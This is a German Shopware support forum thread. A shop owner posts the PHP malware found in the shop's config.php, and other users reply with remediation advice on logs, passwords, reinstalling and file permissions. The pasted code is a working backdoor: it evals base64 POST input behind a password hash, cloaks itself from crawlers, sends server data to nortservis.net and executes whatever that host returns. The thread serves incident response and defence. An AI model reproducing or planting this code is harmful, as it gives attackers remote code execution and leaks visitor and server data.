Shop infected, nun Whitescreen

Hallo,

als ich heute auf unseren Shop ging wurde ich auf irgendwelche dubiosen Webseiten weitergeleitet. Habe natürlich sofort nachgeschaut und in der config.php folgenden Eintrag gefunden (war natürlich mit base64 “verschlüssel” und nen eval vor):

 

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }

if($patchedfv === "GHKASMVG" ) { @ob_end_clean(); die; }

if (strpos($_SERVER["HTTP_USER_AGENT"], "Win" ) === false) { $kjdke_c = 1; }
error_reporting(0);
if(!$kjdke_c) { global $kjdke_c; $kjdke_c = 1;
global $include_test; $include_test = 1;
$bkljg=$_SERVER["HTTP_USER_AGENT"];
$ghfju = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "bot", "spid", "Lynx", "PHP", "WordPress". "integromedb","SISTRIX","Aggregator", "findlinks", "Xenu", "BacklinkCrawler", "Scheduler", "mod_pagespeed", "Index", "ahoo", "Tapatalk", "PubSub", "RSS", "WordPress");
if( !($_GET['df'] === "2") and !($_POST['dl'] === "2" ) and ((preg_match("/" . implode("|", $ghfju) . "/i", $bkljg)) or (@$_COOKIE['condtions']) or (!$bkljg) or ($_SERVER['HTTP_REFERER'] === "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']) or ($_SERVER['REMOTE_ADDR'] === "127.0.0.1") or ($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) or ($_GET['df'] === "1") or ($_POST['dl'] === "1" )))
{}
else
{
foreach($_SERVER as $ndbv => $cbcd) { $data_nfdh.= "&REM_".$ndbv."='".base64_encode($cbcd)."'";}
$context_jhkb = stream_context_create(
array('http'=>array(
                        'timeout' => '15',
                        'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9\r\nConnection: Close\r\n\r\n",
                        'method' => 'POST',
                        'content' => "REM_REM='1'".$data_nfdh
)));
$vkfu=file_get_contents("http://nortservis.net/session.php?id", false ,$context_jhkb);
if($vkfu) { @eval($vkfu); } else {ob_start(); if(!@headers_sent()) { @setcookie("condtions","2",time()+172800); } else { echo "document.cookie='condtions=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';"; } ;};
 }

 }

So, habe den entsprechenden Code entfernt. Nun komme ich aber weder auf die Startseite noch ins Backend, bei beiden kommt nur ein Whitescreen. die domain/eula.txt kann ich auch nicht aufrufen, obwohl laut shopware account und store info in der datenbank die Domain richtig hinterlegt ist. Kann man das noch richten ? Oder wäre es “schlauer” komplett neu aufzusetzen ?

Wir haben mehrere Webseiten auf unserem Server laufen, die anderen sehen alle gut aus, also denke ich das die “angreifer” durch einen Shopware -Exploit reingekommen sind. Gibts da aktuelle Infos zu ?

 

Danke!

Gruß

Du solltest ja ganz gut in den Serverlogs (access-log) und (errorlog) nachprüfen können, wie ein Angreifer vorgegangen ist. Wenn es über Shopware passiert ist, müssen es ja http-requests gewesen sein, die auch mitgeloggt werden. Am besten die Logs mal durchforsten, man sollte da ja auch direkt sehen können, ab wann der Shop nicht mehr funktionierte, was den Zeiraum deutlich eingrenzt. Auch solltest du Logs wie bspw. das FTP-Zugriffslog überprüfen, da natürlich auch das Filesystem ein typischer Angriffsvektor ist - auch kann dein PC einen Schadcode einschleusen. Bei den Überprüfungen sollte aber auch der Hoster unterstützen können.

Shopware bietet verschiedene Sicherheitsmechanismen out of the box - dazu zählt der CSRF-Shutz, InputFilter und sonstige Validierungen die direkt im Core stattfinden. Jede Sicherheitslücke die bekannt wird, wird sowohl durch ein Plugin, als auch ein Bugfix-Release gefixt. Du solltest also entweder stets die aktuellste SW-Version einsetzen oder die aktuellste Version des Security-Plugins. 

Es ist in den letzten Sicherheitsupdates keine Lücke bekannt geworden, die einen solchen Angriff ermöglicht.

Wenn Du die Ursache der „Infektion“ nicht kennst, ist es in der Regel am sichersten den kompletten Server neu aufzusetzen. Allerdings musst Du sicherstellen, dass ausschließlich „saubere“ Daten und Softwarepakete wieder auf den Server gelangen. 

Bist Du sicher, dass keine Zugangsdaten (FTP, SSH) geklaut worden sind? Du solltest auf jeden Fall alle Passwörter zur Sicherheit ändern. Damit wäre zumindest dieser Zugangsweg vorerst geschlossen. 

Nehmen wir mal an, dass irgendein PHP-Programm des Servers gehackt worden ist, musst Du eigentlich alle PHP-Programme des Servers als unsicher betrachten auf die dein PHP-Prozess von Shopware schreiben kann. Wie groß der theoretische Schaden ist, hängt von deiner Serverkonfig ab. 

Den Austausch der config.php durch eine Schadsoftware, die über ein Frontend / eine php-Lücke auf das System zugreift, könntest Du durch entsprechende Rechtevergabe verhindern. Das solltest Du aus meiner Sicht für alle Bereiche von Shopware tun, die nur lesbar sein müssen.